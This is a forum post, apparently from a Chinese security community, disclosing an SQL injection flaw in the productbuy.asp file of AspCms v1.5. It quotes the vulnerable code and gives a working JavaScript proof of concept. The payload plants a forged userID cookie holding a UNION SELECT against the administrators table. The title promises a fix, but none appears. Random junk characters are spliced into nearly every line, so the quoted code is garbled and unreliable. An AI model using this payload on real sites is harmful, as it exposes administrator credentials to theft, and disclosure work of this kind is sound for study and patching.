找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2187|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....* q2 H+ v+ \7 l' x) c( M7 v8 k0 {
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
% x3 ^, D: l+ n7 j! \废话不多说,看代码:
7 \% g) P' U, q: w5 b) J3 S$ P+ v8 o; n# ]# w
<%
/ G" q: [, H( c, e$ _& f& q. p, ^7 X2 {6 P/ h
if action = "buy" then  Y5 r2 Q( z) z6 i

2 m" R, m0 j" a7 w7 b5 M- S        addOrder()& y; }  U4 ]) u# K2 o

7 C% t: f# K# }9 |0 a& M2 uelse
+ ]; e- e; f. j/ y/ p8 W! G5 b! @) v
        echoContent()
( `9 ?. t1 I' Q9 O8 k- z: g0 r
! O8 N& P, y8 U2 Qend if( O* k' w1 n2 B; C  x+ z. E8 Y* E3 m
7 f7 `; W6 l- }
1 s( S3 a: j0 t. I

2 W% }9 K# j, U……略过
: W9 o' R' c; }( y! j2 s
0 b) D. d3 h$ r, Q; Y2 e# R! O1 ]* _9 d7 W+ I% k2 D

1 y$ o2 ?7 Z7 }7 W9 @0 }1 pSub echoContent()
% a$ R' e' T, c1 I& ~9 x2 ~6 R9 F: {9 _. M
        dim id9 u, u8 K  X: L: z1 w

! u' t+ s* U) L- |4 Z, L        id=getForm("id","get")3 B& c9 h5 f% s" u& b: V
; R$ `! |/ x2 A+ P: h% I
        . w/ I# r1 M4 J6 q3 V
9 z; X& k- z  _- E$ S- K
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 9 z0 r) L. j  I, M) z' Q; R
7 X; D+ X8 d5 X' B& H( x% I' y
        / t; P* F# H* V0 N/ I
& w4 W; T8 n* B) l
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")' v' o3 p( b& ]9 r" q6 C- s; I; b: E
/ G5 C; O, P9 b- r9 X
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct7 w) _. i; s1 p, k. b1 ~

1 s9 R6 N/ `& c: g! k9 p! @+ b        Dim templatePath,tempStr, m# w' z1 N/ K# p' C8 B- N  m

9 |# K8 V6 B9 |$ Q% ?& G        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"- a4 O( u6 v* O; k. l3 R1 P

& t% _3 Q& j; l/ V9 M! }
) d. G) s/ p2 H0 P, U
+ X- Z  P2 {2 D" g9 h        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")% Y8 n' u! F7 N# _, x2 r
, O" L7 ~$ O4 a4 {9 \! \* _
        selectproduct=rsObj(0)0 G* a: r( J  W3 q

0 b' C6 L; r# x& W* ~% m        + \& T! I9 {1 y, v

/ |" z/ {8 ?# R        Dim linkman,gender,phone,mobile,email,qq,address,postcode
$ j, B: g. @+ y% m! j( q
; w' A9 [' e/ X/ ?  ]        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0! f2 y1 E" s5 ]! L0 C

& V% j+ h1 C$ @$ T6 V  }* j        if rCookie("loginstatus")=1 then  ( d  F4 i: b, c3 ]
: j9 Y9 H4 ~+ K! |8 [1 k' l* M
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
2 D. j! @2 ]3 |  \, r+ i; [/ r( E9 g
                linkman=rsObj("truename")2 H& l& Y+ e8 h6 }+ @: ]/ D1 Y, G( j9 B

5 \  r6 g5 {$ A8 O4 Q& F+ N1 }) q                gender=rsObj("gender")% m9 p; g! G5 F; B

7 V; v" ^; u, ^$ L& n: m                phone=rsObj("phone")
: x2 x- [' Y5 c/ E" N; r5 @) `3 e3 K0 l# e8 ~2 l, `$ {8 {3 G
                mobile=rsObj("mobile"). y# F6 S1 k3 x, @4 z6 Z- |6 b0 w

  R4 R8 D- r3 A4 j, z% r) @. \( F                email=rsObj("email")
0 K$ ^0 O% t" S: _; m9 a
# I: o* s" G9 b                qq=rsObj("qq")$ Y0 D' c2 J" X  P
$ k" Z( O7 M0 ^$ b3 S6 T/ ~
                address=rsObj("address")
7 _, H' }. M# D2 \+ F
; g, A' p  [1 Z  A                postcode=rsObj("postcode"), B2 I& s; b) R- O! |6 ?7 q- e

) U% c2 G; [) {& \+ m$ M. R3 `        else + b( N7 u+ J0 R
; E( k3 q* k4 J; Y4 D4 O- s
                gender=1. W0 k2 c* r  ?' n7 i

9 _* Y4 h& }3 X' G0 {6 E: f        end if( c! c" a! M. @

$ ?0 x/ U* U( w: E+ D        rsObj.close()
$ g) {! D/ U3 T% t1 J1 \! d4 S3 A' H: b' @
               
3 `& A6 C: q" L+ M) o
" U! @% w+ U0 o2 J9 g  q1 ~        with templateObj
6 D: D! S7 Q8 t3 m8 I
" w3 ^4 h% L$ I5 O6 r, z, e' G                .content=loadFile(templatePath)        
+ d' u( p2 F' J  y
" }1 @7 |( \. I& o                .parseHtml()
# E% L) u6 s. a8 K6 c1 c2 b' d* O0 ^- v& n1 a1 p2 @  ]5 m; k
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
9 G& Y- O2 k" g1 x5 x$ y9 ?* l& b1 @7 [, Q
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                9 i5 U7 d* v# a
0 h6 O; L! ^! q
                .content=replaceStr(.content,"[aspcms:gender]",gender)                4 |: U# i! Q' e$ C
! \0 i) f  ~' w* }, X5 g
                .content=replaceStr(.content,"[aspcms:phone]",phone)                " G" f: v! N  A9 r8 B: d& P" d0 }
, R- z7 f2 ~2 W6 C" g( k$ M9 ^7 v
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
% ?% {* b2 |  s2 ]9 a2 z( s% Y+ k# N3 Q* D; i. q
                .content=replaceStr(.content,"[aspcms:email]",email)                        + {% u! \$ I; r" ]8 x

1 l& C( T9 ^% Q& k$ o; c" I/ T                .content=replaceStr(.content,"[aspcms:qq]",qq)                        ; C* ?  A: [$ b6 n
) c6 Z1 q" o, s% S; h' S8 t1 {, O3 d
                .content=replaceStr(.content,"[aspcms:address]",address)                        + [# G6 M; U8 a) k: X9 ]  J3 P

) i1 ]% z7 o& f3 D% X6 d                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        * B: N6 {) i# i/ c; v2 r3 j+ r
- b0 l* L8 K' t/ Q" z
                .parseCommon()                 
1 ~3 L& m7 ?1 A% B- I0 X8 F7 q" X# L2 k3 Z& `- t  B
                echo .content
" Y, |7 m/ K$ {9 z8 m% V* R, V3 C7 k2 Q: n# O5 S
        end with1 f& \8 z- ~8 E; f( _( u; r
  W! c# \: t4 @: n" `' C; `
        set templateobj =nothing : terminateAllObjects; h8 A2 k$ W7 [7 o+ }
# K5 k! E+ H0 a5 s1 S
End Sub6 W' F9 o4 V8 z' u" @& z  J
漏洞很明显,没啥好说的
+ Y, o# V6 \$ |poc:9 F. }& t7 M! u: x/ N- {

. {) h- b0 ]; L+ Jjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
: x5 W: ^* A2 ^* P
+ Y6 W8 T. g1 u+ a/ ]0 |( C9 p  p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表